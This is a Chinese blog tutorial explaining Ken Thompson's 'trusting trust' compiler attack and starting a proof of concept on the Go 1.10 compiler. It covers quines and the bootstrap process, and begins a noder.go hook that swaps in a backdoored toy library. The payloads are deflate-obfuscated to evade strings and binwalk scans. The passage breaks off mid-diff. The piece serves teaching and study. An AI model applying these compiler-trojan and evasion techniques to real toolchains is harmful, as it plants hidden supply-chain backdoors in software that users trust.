为编译器植入隐藏后门——亲手实践 Thompson hack

Read: 58 minWords: 13,490Last Updated: 18-03-31Written in: AsciiDocLicense: CC-BY-NC-4.0

Thompson hack,又名 trusting trust attack,从概念上说,是一种基于信任的后门攻击,由 Ken Thompson 于 1983 年在获得图灵奖时发表的著名演讲《反思对信任的信任(Reflect on Trusting Trust)》中首次提出。[1]狭义地说,Thompson hack 是让编译器“学会”编译后门的方式,并在将来的编译器代码中移除它从而无法再从源码中再现,最终利用人们对编译器忠实性的信任来激活后门的攻击方式。广义地说,它可以推广到所有“隐含的信任”的情况。

本文将以 Go 1.10 为例,对其施展(perform)一个 Thompson hack 实例,并在这个过程中更深入地讨论与之相关的技术细节。

理解 Thompson hack

我们需要把这个 hack 放到一个特定的背景下去理解。在它被发表的那个年代,Unix 是以一种垄断的地位立足于种类繁杂的硬件上。在这样的一种文化氛围里,为作为软件核心的 C 语言编译器植入后门才显得如此骇人听闻。系统里几乎一切的东西在安装时都会经过编译器(由于那时候硬件之间差异很大,所以很少以二进制的形式发布软件),大家都一直在编译东西,同时也经常去审查源代码(经常是必须要做一些修改才能通过编译),因而在编译器中植入后门可谓是能全身而退的“perfect crime”。而如今,硬件正变得越来越兼容,编译器在运维中所扮演的角色也随之逐渐变小。一个被感染的(compromised)编译器已不足以构成最可怕的场景——rootkit 和被感染的 BIOS 才是更难去防御与应付的。[2]

读者可参考 Stack Exchange 上的其他讨论 Is Ken Thompson’s compiler hack still a threat?

需要澄清的一点是,既然 Ken Thompson 从概念上证明了该攻击的可行性,那么他有没有真的发动这个攻击呢。据他本人所说,没有。[3]不过,尽管 Ken Thompson 自己没有实践,但 2009 年的时候还真的出现过一个这类型的攻击,针对的是 Delphi。[4]

原文注解

首先,我很推荐读者去阅读原文,它已经相当地精炼了。这里我们只进行一个简单的概括。

首先,Ken 在演讲提到了一个概念叫自产生程序(self-reproducing program),即输出结果为程序自身源码的非空程序,在今天它有个专门的名字叫做 quine

More precisely stated, the problem is to write a source program that, when compiled and executed, will produce as output an exact copy of its source.

— Ken Thompson
Reflect on Trusting Trust

quine 这个概念非常重要,它正是我们为编译器植入隐形木马的关键,同时也是一个难点。

接着,Ken 以 C 语言为例,提到了编译器对转义序列的翻译过程。

"Hello World\n"

[This] is an idealization of the code in the C compiler that interprets the character escape sequence. This is an amazing piece of code. It "knows" in a completely portable way what character code is compiled for a new line in any character set. The act of knowing then allows it to recompile itself, thus perpetuating the knowledge.

— Ken Thompson
Reflect on Trusting Trust

留意我标记粗体的这句话。(编译器的)“学习”这一行为让它得以重新编译它自己,进而将这一知识持久化。这是 Thompson hack 中编译器后门的理论基础。

依照原文中的例子[5],假如我们想用 \v 来表示 Tab 符号的话,我们可以在编译器的源码里这样写

if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';

但是编译器此时还不知道 \v 的意义,所以我们必须先“训练”它。

if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;

而在这个“训练”的过程中,如果有人恶意操作,它就完全可以成为一个“木马”,就像下面这样

int compile(char* s) {
    if (match(s, "pattern")) {
        return compile("bug");
    }
    // ...
}

Ken 指出,在实际操作中可以让编译器去匹配 Unix 中“login”命令的相关代码,使得利用其编译后得到的 login 程序可以让任何人登录而不去实际校验他们的帐号密码。

最后一步的代码如下所示

int compile(char* s) {
    if (match(s, "pattern1")) {
        return compile("bug1");
    }
    if (match(s, "pattern2")) {
        return compile("bug2");
    }
    // ...
}

它只是简单地在前一个木马后植入了第二个木马,而这个木马针对的是 C 语言编译器本身。此处的木马正好可以利用开头所提到的 quine 技巧来实现。在植入完成后,我们用一个普通的 C 语言编译器编译这个含木马的编译器,将生成的结果指定为官方的 C 语言编译器。此时我们就能把木马从编译器的源码中移除了,而木马本身则会一直保留下去,因为编译器已经“学会”了它。同时,正是因为我们移除了木马的代码,植入的痕迹也完全消失了。

来一起 Hack 吧!

本章将正式开始实验 Thompson hack,撰写一个基于 Go 语言编译器与标准库的 Thompson hack 的 PoC。

Go 语言诞生于 2007 年,正式发布于 2009 年,是一门静态强类型的编译型语言,含 GC,语法糖式的面向对象,鸭子类型式的抽象,从骨子里就支持并发(并发的原语直接被镌刻到了它的关键字中,即关键字 go)。Go 自 1.5 版本起完成了自举(bootstrap),即它的工具链(包括编译器)、标准库均由 Go 本身实现。如果你对 Go 还不太了解,可以通过官方的 A Tour of Go 极速入门。

说句题外话。其实 Thompson hack 的提出者,身为 Unix 之父,C 语言前身 B 语言之父,UTF-8 之父,UTF-8 的诞生地 Plan9 操作系统之父,前贝尔实验室成员,图灵奖获得者的 Ken Thompson,于 2006 年就职 Google 公司后,又成为了 Go 语言之父!在他自己设计的语言上实施他自己提出的 exploit,真是莫名有种讽刺的感觉(

要点

本次实验有以下要点

  1. 我们注入的后门针对的是库而不是语言特性。因为要对语言特性进行 exploit 的同时又不“误伤自己”(即 match(s, "compiler code") 这一步)是非常有难度的事,要完全地修改编译器的结构才有可能做到。具体来说,如果要对语言特性进行 exploit 的话,我们就必须在词法分析器(lexer)和语法分析器(parser)上下手,而假如你是编译器的设计者,你设计的 parse() 函数能获取到多少与源码“来历”相关的信息?显然会非常局限,因为在此之前,其他的构建工具链就已经对源码文件进行了高度抽象的处理,要从这些高度抽象的信息里筛选出属于“编译器自己”的部分可以说是不可能做到的。

  2. 我们注入的标准库不会被 Go 语言工具链本身用到。这样在我们判断 match(s, "compiler code")match(s, "target") 的时候就能有力地排除干扰,有效地降低本 PoC 的复杂程度。为此,我们可以先自己创建一个仅在本次实验中使用的标准库。

  3. PoC 的效果要尽可能地简单直观。这里我们直接创建了一个名为 hack 的标准库,里面只有这两个函数

    1. func False() bool

    2. func Plus(a ...int) (sum int)

    根据源码,前者永远只会返回 false,后者会返回参数们的和。而我们的目的就是要在 hack.False() 的源码看上去完全没问题,无论如何都肯定会返回 false 的情况下,使其变成永远返回 true,且在编译器与标准库的源码中看不出一丝存在后门的痕迹。对于 func Plus(a ...int) (sum int),我们也同样会植入一个隐形的“后门”。至于具体是什么效果,这里暂且卖个关子吧(

  4. PoC 的实现过程会包含一些具有实践性的内容。如对 exploit 进行简单的混淆等。诚然,这轻微地背离了 PoC “简短且可能不完整地对某个概念的可行性进行验证”的本意,但当我们更深层次地讨论一些具有实践性的问题的时候,我们能对我们所做的 exploit 及其背后的原理有更好的理解,而在这些问题的发现与解决过程中触发的各种 corner cases 也会给我们的实验过程增加一些乐趣——“哇,原来 Go 的工具链还有这样奇葩的机制,真想吐槽”。

对于第 3 条,我原本是想像 Ken Thompson 原文中的例子一样,写一个正经的 login(1) 或 login(3) 的,即正经地去读 /etc/shadow,然后正经地 parse 它,以此正经地检查某个登录是否合法,奈何 Go 还没有一个稳定的 crypt(3) 的实现。有人在 Go 里提过此 proposal,尽管已被 accept,但开发还是停滞状态,遥遥无期。

环境

本次实验的环境为

  • Linux 4.15.11-1-ARCH x86_64

  • Go 1.10

热身工作

在正式进行植入前,我们有必要先了解一些必备的相关基础知识,并制作一些接下来会用到的工具。

尽管说是“热身”,但本章的篇幅并不算短,也比较有难度,还请保持耐心。

源码压缩工具

首先让我们一起做一个简单的小工具,它的输入为源代码(实际可以是任何数据),输出为输入经过压缩后的数据,并且输出符合 Go 语言字符串的格式。

注意,虽然说是“压缩”,但很遗憾它并不会明显地缩小体积,相反还很可能会增大。然而,压缩会给我们带来两个好处

  • 我们可以很轻易地将目标内容被压缩后的数据塞进源文件而不用担心 escape 的问题。上述有提到,输出符合 Go 语言语法。如果目标内容是正好也符合 Go 语言语法的数据(Go 语言源文件),那么在把它本身塞进另一个程序的时候就往往要做额外的 escape 处理。在下文有关 quine 的讲解里你会感受到这个问题的存在。

  • 压缩本身却提供了一个简易的“壳”,可以作为一种粗糙的混淆机制,让我们的“木马”能有效地躲过 strings(1) 等工具的简单扫描。我之前一次实验时,放的就是未经压缩(混淆)的原始 exploit 代码,于是就有了下面这张 strings(1) 对那次实验所生成的二进制文件的扫描结果图:
    epic fail

    后来,我将后门的代码进行了 deflate 压缩,之后的目标文件连 binwalk(1) 都找不出后门的部分了。

我们将采用 deflate 进行物理压缩。采用它的原因有二

  • Go 标准库支持(compress/flate)。

  • zlib 与 gzip 也被 Go 标准库支持,但它们实际都基于 deflate,只是在 deflate 的基础上加了一些额外的 metadata (往往都放在头部)。而这些 metadata 不仅对我们的后门植入没有任何帮助,反而还增加了体积,最致命的是它们还为静态的逆向分析提供了便利。而 deflate 是较为纯粹的数据流,尽管它也有头部,但头部所包含的信息相当地少,具体来说,每个 deflate block 的头只有 3 bits 的大小[6],可以认为是“无法区分的”(undistinguishable)——因为随机的非 deflate 压缩的数据也可能被认为“具有 deflate 的头部特征”。当 deflate 压缩后的数据混杂到 ELF 的数据段之后,它们就具有了一定程度上的“隐写性”(steganographical)。简单的静态逆向分析工具是难以将 deflate 数据分离出来的,如刚刚所说,因为在没有头部的情况下,它不知道数据流是从何处开始到何处结束,只能从大量对 deflate “头部特征”的“误判”(false negative)中手动分析出可能是后门的部分,或者依赖动态分析。

尽管 Go 语言的 go/parser 包可以根据源文件生成相应的的抽象语法树(Abstract Syntax Tree, AST),并能在此基础上进行简单的逻辑压缩,即删除注释和缩进等,进一步节省空间。但是这里不采用逻辑压缩,原因有三

  • go/parser 能提供的压缩非常有限,也就仅仅局限于删除注释缩进之类的了。

  • Go 的 pragma 是通过注释传递的[7],所以盲目地去掉注释可能会导致不可预期的后果。

  • 更可怕的是,Go 的自举过程中包含少量对源码内容进行替换、删改的行为(这些是由下文将会提到的“dist”来实现的),而这些行为居然是靠朴素的文本匹配(如按缩进 \t\" 来匹配)而不是语法树来实现的,简直就是 sed 嘛!不信的话你可以看看 src/cmd/dist/buildtool.go 的 bootstrapFixImports 函数。所以不要嫌弃我们只做物理压缩,因为 dist 就是那么粗暴。真不知这到底算是懒还是 KISS,总之现在我们连缩进都不能随便去掉了。这一点在下文中还会继续吐槽。

通俗地讲,这里所做的物理压缩输出的类似于是 xxxx.go.zip 而不是 xxxx.min.goxxxx.min.go.zip

comp.go
package main

import (
	"bytes"
	"compress/flate"
	"fmt"
	"io"
	"log"
	"os"
	"strconv"
)

func main() {
	log.SetFlags(log.Lmicroseconds | log.Lshortfile)

	buf := new(bytes.Buffer)
	comp, err := flate.NewWriter(buf, flate.BestCompression)
	if err != nil {
		log.Fatal(err)
	}

	if _, err := io.Copy(comp, os.Stdin); err != nil {
		log.Fatal(err)
	}
	if err := comp.Close(); err != nil {
		log.Fatal(err)
	}

	fmt.Println(strconv.QuoteToASCII(buf.String()))
}

刚刚讲了那么多,实际做起来还是非常简单的。

请保留好这个 helper,我们会在下文的 Stage I 中用到。同时,为了避免被之后我们自己“投过毒”的编译器误伤,我们就在此先编译好它吧。

$ go build -o /tmp/comp comp.go

Go 的 quine

quine 是 Thompson hack 的重要组成部分。下面是一个经典 quine 的 Go 语言实现

quine.go
package main

import "fmt"

func main() {
	fmt.Printf("%s%c%s%c\n", quine, 96, quine, 96)
}

const quine = `package main

import "fmt"

func main() {
	fmt.Printf("%s%c%s%c\n", quine, 96, quine, 96)
}

const quine = `

这个程序的输出即它的源码本身。

$ cmp -s quine.go <(go run quine.go) && echo OK || echo FAIL
OK

quine 非常重要,一个设计上有缺陷的 quine 会导致 hack 的失败,而且这样的缺陷还很难调试。

假如,某个程序完整地保存了它自身的源码,并且可以在编译后的目标程序中以某种方式再现(这种方式不局限于像上面那样的打印),那么就可以认为其具有 quine 的特性,这里我们暂且称其为“泛 quine 程序”。上例 quine.go 中的套路可以套在几乎任何一个想泛 quine 化的程序中,比如像这样

quine_like.go
package main

import (
	"fmt"
	"time"
)

func doQuine() string {
	return fmt.Sprintf("%s%c%s%c\n", quine, 96, quine, 96)
}

func hello(to string) {
	fmt.Printf("%v: Hello, %s!\n", time.Now().UTC().Format(time.RFC3339), to)
}

const quine = `package main

import (
	"fmt"
	"time"
)

func doQuine() string {
	return fmt.Sprintf("%s%c%s%c\n", quine, 96, quine, 96)
}

func hello(to string) {
	fmt.Printf("%v: Hello, %s!\n", time.Now().UTC().Format(time.RFC3339), to)
}

const quine = `
main.go
package main

import (
	"fmt"
	"io/ioutil"
	"log"
)

func main() {
	log.SetFlags(log.Lmicroseconds | log.Lshortfile)

	hello("Equim")

	q, err := ioutil.ReadFile("quine_like.go")
	if err != nil {
		log.Fatal(err)
	}

	fmt.Println(string(q) == doQuine())
}
$ go run main.go quine_like.go
2018-03-24T14:34:59Z: Hello, Equim!
true

上例中,如果将 quine_like.gomain.go 合为一个文件的话,由于 hello 函数输出的内容不确定,无法简单地做成 quine;而将它们分开的话,前者提供的 doQuine 函数可以完整地返回后者自身的源码,进而认为其具有 quine 特性。

相比 quine.go,我们在 quine_like.go 中仅仅是把表现 quine 的方式从 fmt.Printf 换成了 fmt.Sprintf 而已,而其余部分无非就是像 quine.go 一样,在结尾加上 const quine = `,然后全选复制源文件,再粘贴到尾部罢了。

然而这个套路也有它的局限性。在遇到以 ` 包围的 raw string 的时候,我们就不能用刚刚的办法简单地构造出 quine 变量了。比如,如果我们对上例 quine_like.go 中的 hello 函数作出修改

--- a/quine_like.go
+++ b/quine_like.go
@@ -10,6 +10,7 @@
 }

 func hello(to string) {
+	fmt.Println(`This is a raw string.`)
 	fmt.Printf("%v: Hello, %s!\n", time.Now().UTC().Format(time.RFC3339), to)
 }

那么 quine 变量就无法简单地通过复制粘贴构造了,因为在 raw string 中,` 是无法被转义的。[8]

既然如此,有没有什么解决这个问题的简单方法呢?有的,如果你的 quine 数据以 raw string 之外的方式存在于源码中,就可以不用担心转义的问题了。

接下来我们要加大难度,写一个自身代码被压缩进它本身的 quine。没错,上一节我们写的源码压缩工具在此就能重用了。同样地,我们也可以写一个简单的 helper 来完成这个任务,而且我们只需在前一小节写的压缩代码的程序上稍作改动即可。

$ cp comp.go make_quine.go

然后对 make_quine.go 进行以下改动

--- a/comp.go
+++ b/make_quine.go
@@ -18,10 +18,14 @@
 	if err != nil {
 		log.Fatal(err)
 	}
+	w := io.MultiWriter(os.Stdout, comp)

 	if _, err := io.Copy(comp, os.Stdin); err != nil {
 		log.Fatal(err)
 	}
+	if _, err := io.WriteString(w, "\nconst quine = "); err != nil {
+		log.Fatal(err)
+	}
 	if err := comp.Close(); err != nil {
 		log.Fatal(err)
 	}

这个新的 helper 从 stdin 接受一个“不完整的 quine”,并对其进行压缩及一些简单的处理,最终输出的内容是对其输入的补全,使原输入加上该输出之后就能具备 quine 特性。具体来说,我们先写一个“不完整的 quine”。

incomplete_quine.go
package main

import (
	"compress/flate"
	"io"
	"os"
	"strconv"
	"strings"
)

func main() {
	qr := strings.NewReader(strconv.QuoteToASCII(quine) + "\n")
	sr := flate.NewReader(strings.NewReader(quine))
	defer sr.Close()

	r := io.MultiReader(sr, qr)
	io.Copy(os.Stdout, r)
}

上面这个半成品中用到了一个名为 quine 的变量,但它并没有被声明,所以是不完整的。接着我们将其 feed 给 helper。

$ cat incomplete_quine.go | tee quine.go | go run make_quine.go >> quine.go

最终生成的 quine 是这样的

quine.go
package main

import (
	"compress/flate"
	"io"
	"os"
	"strconv"
	"strings"
)

func main() {
	qr := strings.NewReader(strconv.QuoteToASCII(quine) + "\n")
	sr := flate.NewReader(strings.NewReader(quine))
	defer sr.Close()

	r := io.MultiReader(sr, qr)
	io.Copy(os.Stdout, r)
}

const quine = "\\\xcd1K41\x10\xc6\xf1:\xf3)\x86T\t\uf477\x17\xae\x90\xad\xaeP\u0433\xb4\t\xd9\xd9#\xb8\x9b\u065dI\x14\x11\xbf\xbb\\\\\vm\x1eR\xe4\xff\x9b5\xa6\x97x!\\b.\x00yYY*:06\xf1\xb2\n\xa9\xfe\x9f\xe6X\u0242\xb1\x99\xaf\xcbz]\xad\x92\xb8\xbc\xee\xcf\\.j\xc1\x03L\xad\xa4N9\x8f\x1f`6\xc1\x9b#\xee\x1f\xc2=\xbd=R\x1cI\xdc^\x87\x87\u0195\x9e\xf8\xf6<\x9cNnk\xb9\x90\xc7\u007fh\x9f\x8b\xf5`\xb4\xc7\xfd\xfa\xef\xf4\x0f\xf6\xddy0#M$\xa8\x12\x86\x99\x95\x9c\a0\x9d\xc8\x1c\xee\xda\\\xf3\x8f \a\xdc\u0103\xc9\x1c\x06^\xdf\x1dk8\u05d1[=\xa0x\xf8\x04H\\\xb4bw\xf1\x88_\x01\x00\x00\xff\xff"

测试一下

$ cmp -s quine.go <(go run quine.go) && echo OK || echo FAIL
OK

没有问题。

接下来我们尝试一下重写刚刚使用了 raw string 的 quine_like.go

quine_like.go
package main

import (
	"bytes"
	"compress/flate"
	"fmt"
	"io"
	"strconv"
	"strings"
	"time"
)

func doQuine() string {
	r := flate.NewReader(strings.NewReader(quine))
	buf := new(bytes.Buffer)
	io.Copy(buf, r)
	r.Close()

	return fmt.Sprintf("%s%s\n", buf.String(), strconv.QuoteToASCII(quine))
}

func hello(to string) {
	fmt.Println(`This is a raw string.`)
	fmt.Printf("%v: Hello, %s!\n", time.Now().UTC().Format(time.RFC3339), to)
}

再利用一下刚刚写的 helper

$ go run make_quine.go < quine_like.go >> quine_like.go
$ go run main.go quine_like.go
This is a raw string.
2018-03-24T16:02:47Z: Hello, Equim!
true

没有问题。

与上节同样,请保留好这个 helper,并在现在就构建一份二进制版本。

$ go build -o /tmp/make_quine make_quine.go

这里顺便也放几个别的语言的 quine 给大家开开眼吧。[9]

神奇的文件名

$ cat "print(__file__)"
print(__file__)
$ python "print(__file__)"
print(__file__)

连异常都能拿来玩

$ cat reproducing.py
  File "reproducing.py", line 1
    File "reproducing.py", line 1
    ^
IndentationError: unexpected indent

$ python reproducing.py
  File "reproducing.py", line 1
    File "reproducing.py", line 1
    ^
IndentationError: unexpected indent
$ z=\' a='z=\\$z a=$z$a$z\; eval echo \$a'; eval echo $a
z=\' a='z=\\$z a=$z$a$z\; eval echo \$a'; eval echo $a

甚至连 gzip 这种压缩算法都能 quine 起来。下面这个文件被 gzip 解压后的输出仍是它本身。[10]

$ xxd quine.gz
00000000: 1f8b 0800 0000 0000 0003 000f 00f0 ff1f  ................
00000010: 8b08 0000 0000 0000 0300 0f00 f0ff 0000  ................
00000020: 00ff ff00 0000 ffff 8271 a15c 0000 1e00  .........q.\....
00000030: e1ff 0000 00ff ff00 0000 ffff 8271 a15c  .............q.\
00000040: 0000 1e00 e1ff 0000 00ff ff00 0000 ffff  ................
00000050: 0000 00ff ff00 0000 ffff 0000 00ff ff00  ................
00000060: 0000 ffff c226 8660 0100 1400 ebff 0000  .....&.`........
00000070: 00ff ff00 0000 ffff c226 8660 0100 1400  .........&.`....
00000080: ebff c226 8660 0100 1400 ebff 9920 358d  ...&.`....... 5.
00000090: 8828 3132 3334 02b3 c02c 0000 1400 ebff  .(1234...,......
000000a0: 02b3 c02c 0000 1400 ebff 4288 21c4 0000  ...,......B.!...
000000b0: 0000 ffff 0300 434a 4d21 d200 0000 4288  ......CJM!....B.
000000c0: 21c4 0000 0000 ffff 0300 434a 4d21 d200  !.........CJM!..
000000d0: 0000

$ gzip -dc quine.gz | xxd
00000000: 1f8b 0800 0000 0000 0003 000f 00f0 ff1f  ................
00000010: 8b08 0000 0000 0000 0300 0f00 f0ff 0000  ................
00000020: 00ff ff00 0000 ffff 8271 a15c 0000 1e00  .........q.\....
00000030: e1ff 0000 00ff ff00 0000 ffff 8271 a15c  .............q.\
00000040: 0000 1e00 e1ff 0000 00ff ff00 0000 ffff  ................
00000050: 0000 00ff ff00 0000 ffff 0000 00ff ff00  ................
00000060: 0000 ffff c226 8660 0100 1400 ebff 0000  .....&.`........
00000070: 00ff ff00 0000 ffff c226 8660 0100 1400  .........&.`....
00000080: ebff c226 8660 0100 1400 ebff 9920 358d  ...&.`....... 5.
00000090: 8828 3132 3334 02b3 c02c 0000 1400 ebff  .(1234...,......
000000a0: 02b3 c02c 0000 1400 ebff 4288 21c4 0000  ...,......B.!...
000000b0: 0000 ffff 0300 434a 4d21 d200 0000 4288  ......CJM!....B.
000000c0: 21c4 0000 0000 ffff 0300 434a 4d21 d200  !.........CJM!..
000000d0: 0000

Go 语言的自举过程

本文讨论的均为本地编译,如果是交叉编译的话情况会稍有差别,具体还请读者自行研究。

前面有提到,Go 自 1.5 起就实现了自举,那么它自举的具体过程是怎么样的呢?根据官方文档

src/cmd/dist/README
The process to install Go 1.x, for x ≥ 5, is:

1. Build cmd/dist with Go 1.4.
2. Using dist, build Go 1.x compiler toolchain with Go 1.4.
3. Using dist, rebuild Go 1.x compiler toolchain with itself.
4. Using dist, build Go 1.x cmd/go (as go_bootstrap) with Go 1.x compiler toolchain.
5. Using go_bootstrap, build the remaining Go 1.x standard library and commands.

简单来说fān yì yī xià就是这样

  1. 用 Go 1.4 以上版本构建 cmd/dist。这里提一下,此处所构建的 dist 是一种类似 Makefile 的存在,这是因为大家不想同时去维护多个针对不同平台的脚本语言(Windows Batch, Bash, rc)写的构建脚本。

  2. 通过 dist,调用 Go 1.4 构建 Go 1.x 的编译器工具链

  3. 通过 dist,调用 Go 1.x 重新构建它本身的编译器工具链

  4. 通过 dist,调用 Go 1.x 编译器工具链构建 Go 1.x 的 cmd/go (作为 go_bootstrap)

  5. 使用 go_bootstrap 构建 Go 1.x 的其余部分,包括标准库和其他命令。

但当我们实际调用 src/make.bash 时,会发现它的操作和文档所描述的稍有差异

Building Go cmd/dist using $GOROOT_BOOTSTRAP.
Building Go toolchain1 using $GOROOT_BOOTSTRAP.
Building Go bootstrap cmd/go (go_bootstrap) using Go toolchain1.
Building Go toolchain2 using go_bootstrap and Go toolchain1.
Building Go toolchain3 using go_bootstrap and Go toolchain2.
Building packages and commands for $GOOS/$GOARCH.
---
Installed Go for $GOOS/$GOARCH in $GOROOT
Installed commands in $GOROOT/bin

这里,我们以 src/make.bash 的输出为准,即自举一共有 6 步。

看上去很复杂吧。不愧是 Ken Thompson,在为 Go 设计自举的时候都考虑得如此充分(然而我们还是能在这上面实施他自己提出的后门)。

这里,我们是准备用官方发行的 Go 1.10 二进制包作为上文所说的“Go 1.4 以上版本”来 bootstrap 我们第一个修改出的 Go。此后的每一个 Stage 均使用前一个 Stage 编译它本身而得出的 Go 工具链来进行 bootstrap。即,官方发行的 Go 1.10 仅用于构建「Stage 0 的 cmd/dist(上述的第 1 步)」和「 Stage 0 编译器工具链的第一个二进制版本(上述的第 2 步)」,在这之后(上述的第 3 步开始)就完全不需要它了。接着,我们再用『「原版 Go 1.10 的二进制根据 Stage 0 源码构建出的 Stage 0 Go 工具链」根据 Stage 0 它本身的源码构建出的 Go 工具链』去构建「Stage I 的 cmd/dist」和「Stage I 编译器工具链的第一个二进制版本」,在这之后也完全不需要 Stage 0 的任何东西了。以此类推。

Go 的自举系统会根据环境变量 $GOROOT_BOOTSTRAP 来找出“先验的 Go”。如在构建 Stage 0 时,$GOROOT_BOOTSTRAP 就是我们先前安装好的 Go 1.10 官方版的 $GOROOT,而 $GOROOT 会被设置成 Stage 0 的工作目录。同理,而在构建 Stage I 时,$GOROOT_BOOTSTRAP 就是 Stage 0 的 $GOROOT(工作目录),然后 $GOROOT 就是 Stage I 的工作目录。在实际操作时,我们需要手动为这两个环境变量赋值。

为了防止还有些人不太明白,我特地根据文档(不是根据 src/make.bash)画了下面这张图

下图属于原创研究,仅供参考。

bootstrap

上图中

  • 橙色背景的为串行工作流,即较为表层的构建工具,可类比 CMake 等

  • 蓝色黄色背景的为构建作业,可类比 Makefile 中的目标

  • 白色背景的为文本文件,即源文件,如 .go 文件等

  • 绿色背景的为管道工作流,即编译器、汇编器、链接器,可类比 cc1, cc1plus, as, ld 等;以及较为底层的构建工具,可类比 Makefile, gcc, g++ 等;还包括一些 utils,如 cp, mv, sed 等

  • 紫色背景的为二进制文件,即目标文件,如 .o, .a, ELF 文件等

  • 红色箭头表示其末端是首端的拷贝或子集

我知道这段可能比较绕,但还请仔细理解一下。

获取源码

获取 Go 1.10 的源码。截至本文编写时,Go 1.10 是 Go 1 的最新主要版本(major version)。

可以通过 git 获取,这是推荐的做法,因为之后我们就可以很方便地根据 commit 做 patch。

$ git clone https://github.com/golang/go.git
$ cd go
$ git checkout go1.10
$ git checkout -b thompson-hack
$ git rm VERSION
$ cd ..

也可以直接从 dist 获取,这样占用的体积会比较小。

$ wget https://dl.google.com/go/go1.10.src.tar.gz
$ tar xf go1.10.src.tar.gz

Stage 0

首先我们要撰写一个正常工作的标准库函数——hack.False()。当然我们也可以对已有的标准库下手,不过要点里有提到这样可能会出现的问题。

$ mv go go-stage0
$ cd go-stage0
$ mkdir -p src/hack
src/hack/hack.go
// Package hack provides some boring functions.
package hack // import "hack"

// False always returns false.
// I never lie. If you still don't trust it just read the source!
func False() bool {
	return false
}

// Plus returns the sum of a.
// Dead simple, and boring.
func Plus(a ...int) (sum int) {
	for _, v := range a {
		sum += v
	}

	return
}
src/hack/hack_test.go
package hack

import "testing"

// I told you I never lie <_<
func TestFalse(t *testing.T) {
	if !False() != true {
		t.Fatal("Gott ist tot")
	}
}

// I told you it's boring >_>
func TestPlus(t *testing.T) {
	if Plus() != 0 {
		t.Fatal("0 != 0")
	}

	if Plus(1, 1) != 2 {
		t.Fatal("1 + 1 != 2")
	}

	if Plus(0, -1, 233, 1) != 233 {
		t.Fatal("0 + (-1) + 233 + 1 != 233")
	}
}

非常简单,寥寥几行,我们甚至连单元测试都顺手写好了。

可选的,提交本次修改,这样能让版本变得清晰。如果你是直接通过 dist 获取源码的话请先 git init

$ git add .
$ git commit -m "hack: stage0: add package hack"

接下来,我们以 Go 1.10 的官方二进制包为跳板,构建 Stage 0。

$ export GOROOT_BOOTSTRAP="$GOROOT"
$ export GOROOT="$(pwd)"
$ cd src
$ ./make.bash
$ cd ../..
$ go-stage0/bin/go version
go version devel +a3c80a3a0c Sun Mar 25 03:39:47 2018 +0800 linux/amd64

在我的机器上,整个构建过程只需不到 2 分钟(说你呢,NodeJS 这些 C++ 拼出来的鬼玩意(逃))。当然我们只是构建,没有跑测试、benchmark 之类的。

这里我们写一个简单的程序来测试一下刚刚添加进去的标准库。

main.go
package main

import (
	"fmt"
	"hack"
)

func main() {
	fmt.Println(hack.False())
	fmt.Println(hack.Plus(1, 1))
}
$ go-stage0/bin/go run main.go
false
2

看上去很 legit。

然后再跑一跑它的单元测试。

$ go-stage0/bin/go test -v hack
=== RUN   TestFalse
--- PASS: TestFalse (0.00s)
=== RUN   TestPlus
--- PASS: TestPlus (0.00s)
PASS
ok      hack    0.002s

也没毛病。

Stage I

这一 Stage 我们将对编译器的代码动手,从编译器的角度为 hack 库植入一个具有持久性(persistent)的木马。

$ cp -r go-stage0 go-stage1
$ cd go-stage1
$ git clean -fdx

编译器的主要代码位于 src/cmd/compile/internal/gc,这里包含了对 lexer 和 parser 的调用。现在,我们将对 src/cmd/compile/internal/gc/noder.go 进行 exploit。该文件包含了编译器读取源文件的逻辑,我们就在此处动手脚。

在本 Stage 中,src/cmd/compile/internal/gc/noder.go 也是唯一一个会被修改的文件。

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -6,6 +6,7 @@

 import (
 	"fmt"
+	"io"
 	"os"
 	"path/filepath"
 	"runtime"
@@ -34,7 +35,7 @@
 			defer close(p.err)
 			base := src.NewFileBase(filename, absFilename(filename))

-			f, err := os.Open(filename)
+			f, err := openFile(filename)
 			if err != nil {
 				p.error(syntax.Error{Pos: src.MakePos(base, 0, 0), Msg: err.Error()})
 				return
@@ -1423,3 +1424,18 @@
 	}
 	return x
 }
+
+// .oPYo.               8         o   o
+// 8.                   8             8
+// `boo   `o  o' .oPYo. 8 .oPYo. o8  o8P
+// .P      `bd'  8    8 8 8    8  8   8
+// 8       d'`b  8    8 8 8    8  8   8
+// `YooP' o'  `o 8YooP' 8 `YooP'  8   8
+// :.....:..:::..8 ....:..:.....::..::..:
+// ::::::::::::::8 ::::::::::::::::::::::
+// ::::::::::::::..::::::::::::::::::::::
+
+func openFile(filename string) (io.ReadCloser, error) {
+	// TODO: exploit here
+	return os.Open(filename)
+}

这里我们将原本的 os.Open 换成了我们我们自己实现的 openFile,相当于 hook 了原来打开文件的操作,以便在此注入。

现在我们要准备一下针对 hack 库的后门代码。

/tmp/hack.go
package hack

import (
	"math/rand"
	"sync"
	"time"
)

func False() bool {
	return true
}

var (
	r  = rand.New(rand.NewSource(time.Now().UnixNano()))
	mu sync.Mutex (1)
)

func Plus(a ...int) int {
	mu.Lock()
	defer mu.Unlock()

	if r.Int()&0x01 == 0x01 {
		return -r.Intn(233333)
	}
	return r.Intn(233333)
}
1rand.NewSource 不是线程安全的。
/tmp/hack_test.go
package hack

import "testing"

func TestFalse(t *testing.T) {} (1)
func TestPlus(t *testing.T)  {} (1)
1这样可以直接跳过测试。

接着,我们拿出之前准备好的 comp 工具对修改后的含“后门”的源文件进行混淆处理。

$ /tmp/comp < /tmp/hack.go > /tmp/hack.go.zz.asc
$ /tmp/comp < /tmp/hack_test.go > /tmp/hack_test.go.zz.asc

对于后门在对目标文件进行匹配时会用到的文件名字符串,我们也要做混淆处理。算是顺路做了。

$ echo "src/hack/hack.go" >> /tmp/list
$ /tmp/comp <<< "src/hack/hack.go" >> /tmp/list
$ echo "src/hack/hack_test.go" >> /tmp/list
$ /tmp/comp <<< "src/hack/hack_test.go" >> /tmp/list

在将它们注入 noder.go 之前,我们需要先编写一些用于“脱壳”函数。

--- a/src/cmd/compile/internal/gc/noder.go
+++ b/src/cmd/compile/internal/gc/noder.go
@@ -5,8 +5,10 @@
 package gc

 import (
+	"compress/flate"
 	"fmt"
 	"io"
+	"io/ioutil"
 	"os"
 	"path/filepath"
 	"runtime"
@@ -1435,6 +1437,32 @@
 // ::::::::::::::8 ::::::::::::::::::::::
